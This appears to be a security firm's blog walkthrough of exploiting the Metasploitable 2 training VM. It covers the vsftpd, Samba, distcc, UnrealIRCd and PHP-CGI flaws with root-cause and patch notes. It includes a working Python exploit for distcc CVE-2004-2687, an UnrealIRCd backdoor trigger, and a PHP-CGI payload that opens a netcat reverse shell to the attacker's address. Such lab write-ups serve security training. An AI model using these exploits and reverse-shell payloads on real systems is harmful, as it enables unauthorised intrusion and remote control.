Metasploitable 2 Walkthrough: Quick Exploitation Guide

MongoDB security – Injection attacks with php
June 1, 2016
Firefox 47.0 Memory Access violation Crash – FIXED
July 17, 2016

June 26, 2016

In a recent investigation with Metasploit, fascinating exploits for targeting Metasploitable 2 came to light. The prospect of conducting a Metasploitable 2 walkthrough using Metasploit sparked curiosity. Let’s delve into the methods and motivations behind this exploration.

Getting started

Firstly, to perform the attack on Metaspoitable, we need to carry out the enumeration process on the attacking machine. For this purpose, we have a number of tools available in Kali Linux; most commonly, the use of Nmap and Nikto is done. In our case, we use Nmap. Before moving further, let us have a brief introduction to Nmap.

Nmap Overview

Network Mapped (Nmap) is a network scanning and host detection tool that is very useful during several steps of penetration testing. Nmap is not limited to merely gathering information and enumeration. It is also a powerful utility that finds use as a vulnerability detector or a security scanner.

What does Nmap do?

It basically detects:

  • Live host on the network.
  • Open ports on the host.
  • Software and the version to the respective port.
  • Operating system, hardware address, and the software version

Service and version detection with Nmap

Command: nmap -sS -sV <Victim’s Ip>

  • \-sS : SYN Scan
  • \-sv : Service and version detection

As we can see in the above figure, this command provided us with detailed information about the open ports, the various services and their version running on the victim’s machine.Moving further, let us now exploit them one by one.

Exploiting Vulnerabilities

1. VSFTPD (VSFTPD v2.3.4 Backdoor Command Execution)

VSFTPD stands for very secure FTP daemon. It’s a lightweight, stable, and secure FTP server for UNIX-like systems.

So, we use Metasploit to look for the available exploits for VSFTPD. Let us have a look at how we can carry out this search in Metasploit and then apply it to the target machine.

In effect, as we can see in the above snapshot, there is an exploit available for VSFTPD. But wait! Before moving further, are we sure that the exploit is compatible with the versions of running services? This is the key to a successful attack. Firstly, we first confirm whether the exploit is available for the particular versions running on the victim’s machine.

Now that we have ensured the compatibility of the versions, we are ready to use the exploit. Therefore, let us have a look at the available options.

Here, RHOST and RPORT are the two options we require. 21 is set as the current value of RPORT, which is for the FTP service. We need to set the value for RHOST, and then we are all set to run this exploit.

Once you run the exploit, you will get root access. Henceforth, the basic steps that we followed for the attack on VSFTPD will be the same for all the services.

Without Metasploit: Manual Exploitation

Without using the attack it was so simple to reproduce this version of the VSFTPD v2.3.4 was having a backdoor for administrative reasons there was a function search for the 🙂 smiling face

The trigger code

Was as the following if the string contain 0x3a (colon 🙂 and 0x29 (closing parenthesis )) in hexadecimal consecutively in , forming the smiley face sequence :), then the vsf_sysutil_extra() function would be called.

which spawns a root shell listening on port 6200 using socket library and and gives /bin/sh shell

Vsf_sysutil_extra function

By connecting to the ftp 192.168.115.128 with with the user that’s contain the “:)” to trigger the back door

After waiting a few seconds after the login  failed, we got the reverse shell on the 6200 by listing to it in the 6200

2. SAMBA (Samba “username map script” Command Execution

Samba is a popular freeware program that allows end users to access and use files, printers, and other commonly shared resources over the Internet. As we saw earlier, the steps we follow for this attack will be the same as the previous one. We use the following exploit to carry out an attack on SAMBA.

The Root Cause

The the login function the smb using the map_username function to

pstr_sprintf( command, “%s \”%s\””, cmd, user ); passes the command directly to the cmd so the ./ was for breaking the line and the nohup for letting the process working in the background and then run the nc -e /bin/sh for the reverse shell on the 8021

And as we see be breaks the line of the user name login

3. MYSQL (MySQL Login Utility)

MySQL is one of the most popular databases that many applications use nowadays. For the exploitation of MySQL, we first need to find out the database version. [Metasploit](https://blog.securelayer7.net/what-is-metasploit/) has a module that we can use to find out the database version. So, we can use the following command for this purpose:

use auxiliary/scanner/mysql/mysql\_version

Next, we need to set the RHOST option to be able to use the above command, which we find out by the show options command. Once RHOST is set, we can run the module.

Next, we will use the mysql\_login module and try to brute force the MYSQL username and password.

Further, let’s check for the available options for this module.

At times, there is a possibility that the password field for MySQL is left blank. Due to this, we need to set the value of the BLANK_PASSWORDS option.

After this, we need to create two files that contain a list of possible usernames and passwords for MySQL. Once the files are created, we can use them to set the PASS_FILE and USER_FILE options.

We can see that, consequently, we were successful in finding the username and password. Let’s now access the victim’s MySQL.

This can be manually exploited using any brute-force tool like Hydra, so there’s no need to reproduce it

4. Post-exploitation via the default credentials of the Apache Tomcat Manager to get a RCE (remote code Execution)

After trying the default credentials for the Apache Tomcat Manager and getting in, we can now move to the exploitation step to execute commands on the server. Here is how we are going to do it with Metasploit and without the Metasploit framework

Info

More information about the attack

So we are setting the java meterpereter reverse shell tcp because the Apache server ues java

Setting the RHOST, the LHOST, the username we found, and the password, then running the exploit

Now let’s try without the Metasploit Framework 

Without Metasploit: Manual Exploitation

The default index

By trying to access http://localhost:8180/manager/ it will ask for a username and password. Some companies forget to update the default credentials, especially in older versions. This  repo contain some of them

Cool now we have the access the Manger panel 

Creating a web shell using msfvenom to get a reverse shell by uploading the WAR file

Choosing the file that has been created by msfvenom

And now deploy 

To trigger this payload, we have to load the file by trying to access it

Now we have a reverse shell under the tomcat user

5. DISTCC (DistCC Daemon Command Execution)

DISTCC is a program to distribute builds of C, C++, Objective C or Objective C++ code across several machines on a network. And versions ≤ 2.18.3 were vulnerable to (RCE) remote code execution as identified by CVE-2004-2687 Metasploit has an excellent exploit for the DISTCC services.

Info about the attack

The exploitation was simply settled the needed information which is the RPORT and the RHOST the EXPLOITS gives a executable shell

Without Metasploit: Manual Exploitation

After taking a deeper look into the exploit, the vulnerability was found to occur after the attacker initiated communication using the DIST00000001 header of the DIST protocol, which distccd blindly trusted. Since this protocol was designed for trusted LAN environments and lacked any authentication or command-validation mechanisms, the server accepted the request and executed the attacker-supplied commands directly on the system.

The attacker crafts a payload containing ARGC and ARGV fields that inject shell commands using sh -c followed by the malicious command. A hash symbol (#) is placed after the command to comment out the remaining legitimate-looking compiler arguments, disguising the attack as a normal compilation request.

The distccd daemon parses this protocol-compliant message without validation and executes the arguments. Due to the sh -c wrapper, it spawns a shell that runs the attacker’s commands with daemon privileges. The server then returns the command output through stdout and stderr streams, allowing the attacker to retrieve the results.

This vulnerability (CVE-2004-2687) stems from a fundamental design flaw where the service assumes trust without verification and performs no input validation, making it exploitable when exposed to untrusted networks

So after writing a simple script to

```
#!/usr/bin/env python3

import socket
import sys

if len(sys.argv) != 4:
    print(f"Usage: {sys.argv[0]} <target_ip> <port> <command>")
    sys.exit(1)

target_ip = sys.argv[1]
target_port = int(sys.argv[2])
command = sys.argv[3]

args = ["sh", "-c", command, "#", "-c", "main.c", "-o", "main.o"]

payload = "DIST00000001"
payload += f"ARGC{len(args):08x}"
for arg in args:
    payload += f"ARGV{len(arg):08x}{arg}"

payload += "DOTI0000000A" + "A" * 10

s = socket.socket()
s.settimeout(5)
s.connect((target_ip, target_port))
s.send(payload.encode())
s.recv(24)

def read_response(sock):
    sock.recv(4)
    length = int(sock.recv(8), 16)
    return sock.recv(length) if length else b""

out1 = read_response(s)
out2 = read_response(s)

if out1:
    print(out1.decode(errors="ignore"))
if out2:
    print(out2.decode(errors="ignore"))

s.close()
```

The script simply connects to the DISTCC service on the server and sends a fake compilation request that looks legitimate but contains a hidden shell command using sh -c [command] through the protocol handshake. The client sends DIST00000001 to identify itself as protocol version 1, which the server acknowledges as a legitimate DISTCC client without any authentication.

Next, the script declares the argument count using ARGC followed by the number of arguments in hexadecimal format. Then it transmits each argument prefixed with ARGV and its length, including the malicious payload: sh -c [command] #. The hash symbol (#) acts as a comment character that causes the shell to ignore everything after it, effectively hiding the fake compiler arguments like -c main.c -o main.o that make the request appear legitimate.

To complete the protocol requirements, the script sends DOTI with random data. The server accepts this protocol-compliant message, parses the arguments without validation, and executes them. Because of the sh -c wrapper, the server spawns a shell that runs the attacker’s command with the daemon’s privileges

After running the script as we can see we can execute commands on the server as we can see at the below picture we can read the

6. GNU Classpath RMI Registry (Java RMI Server Insecure Default Configuration Java Code Execution)

GNU Classpath is a set of essential libraries for supporting the Java programming language.

More information about this Metasploit module 

Setting the RHOST and then exploit and then got a meterpert shell

7. UNREAL IRCD (UnrealIRCD 3.2.8.1 Backdoor Command Execution)

UnrealIRCd is an Internet Relay Chat daemon that was widely used as an open-source server application implementing the IRC Internet Relay Chat protocol. In 2010, the project discovered one of the most embarrassing security incidents in open-source history: their official distribution had been compromised for seven months

More information about this attack

After setting RHOST and then exploit

The Root Cause of This Attack

Attackers compromised the UnrealIRCd distribution infrastructure and replaced the legitimate Unreal3.2.8.1.tar.gz file on official download mirrors with a backdoored version that remained undetected for approximately 7 months (November 2009 to June 2010)

The Backdoor Itself: The attackers inserted malicious code into the include/struct.h file, disguised as debug macros:

#define DEBUGMODE3_INFO “AB”

#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM(x)

#define DEBUG3_DOLOG_SYSTEM(x) system(x)

This created a hidden command execution backdoor that would execute any system command sent to the IRC server prefixed with “AB;”. we are going to try it manually below

Without Metasploit: Manual Exploitation

Using the telnet to connect to the 6997 

The command :AB; mkdir /tmp/pwn;

8. Apache (CGI Argument Injection)

The apache CGI were used in one of the MetaSploitable 2 vulnerable applications and the version that was used was vulnerable to the CVE-2012-1823 which is argument injection allows for remote code execution (RCE)

More information from the metasploit framework 

To exploit it from the metasploits the module needs the LHOST and RHOST 

And after running the module we got a shell

The Root Cause

Patch diffing

The vulnerability happens when the red line is passing the query string without checking if there is an equals sign (=) in the input. If there is no equals sign, it passes the value directly to php_getopt() which receives it as command-line arguments (argv[]). 

These arguments are passed to the command-line directly without any validation, which causes a bypass to security checks and allows the attacker to execute commands on the system.

How it get patched

They added the below lines to avoid the getopt function

if(query_string = getenv("QUERY_STRING")) {
+               decoded_query_string = strdup(query_string);
+               php_url_decode(decoded_query_string, strlen(decoded_query_string));
+               if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
+                       skip_getopt = 1;
+               }
+               free(decoded_query_string);
+       }

patch retrieves the query string, URL-decodes it, and detects if it starts with a hyphen (-) and contains no equals sign (=). If both conditions are true (indicating a command-line injection attack), it sets skip_getopt = 1 to prevent php_getopt() from processing  the malicious arguments, thereby blocking the CVE-2012-1823 exploit

Without Metasploit: Manual Exploitation

Payload : echo “<?php system(‘nc 192.168.115.129 4444 -e /bin/sh’);die(); ?>” | POST “http://192.168.115.128/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input”

The above command is so simple because it creates PHP code using the system() function to execute a netcat command and establish a reverse shell. The PHP payload is sent through the POST request body via php://input. The vulnerability is triggered because there is no equals sign (=) at the beginning of the query string in the URL payload. Because of this missing equals sign, the Apache CGI does not recognize it as normal user data (which would be in key=value format). Instead, the CGI passes the query string directly to php_getopt() as command-line arguments (argv[]) without any validation. The php_getopt() function then processes these arguments as legitimate PHP configuration directives (like -d allow_url_include=1), which bypasses security checks and causes the PHP directives to be executed on the system, allowing the attacker to set auto_prepend_file=php://input so that the PHP payload in the POST body gets executed, ultimately giving the attacker a reverse shell connection to their listening machine

After running the payload

And as it shows below get executed and got a reverse shell

Conclusion

To wrap up, the Metasploitable  2 walkthrough serves as a valuable resource for those interested in cybersecurity. By examining various exploits and their solutions, this guide equips individuals with the knowledge to better protect systems from online threats. It’s a practical way to learn about cybersecurity in today’s digital world. Securelayer7 offers in-depth Penetration Tests using strong research, tools & security experts. [Contact us](https://securelayer7.net/start-now) today to schedule your comprehensive penetration test and ensure your systems are secure.

References:

https://www.offensive-security.com/metasploit-unleashed/](https://www.offensive-security.com/metasploit-unleashed/)

https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv

https://web.archive.org/web/20120311222625/http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt







Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading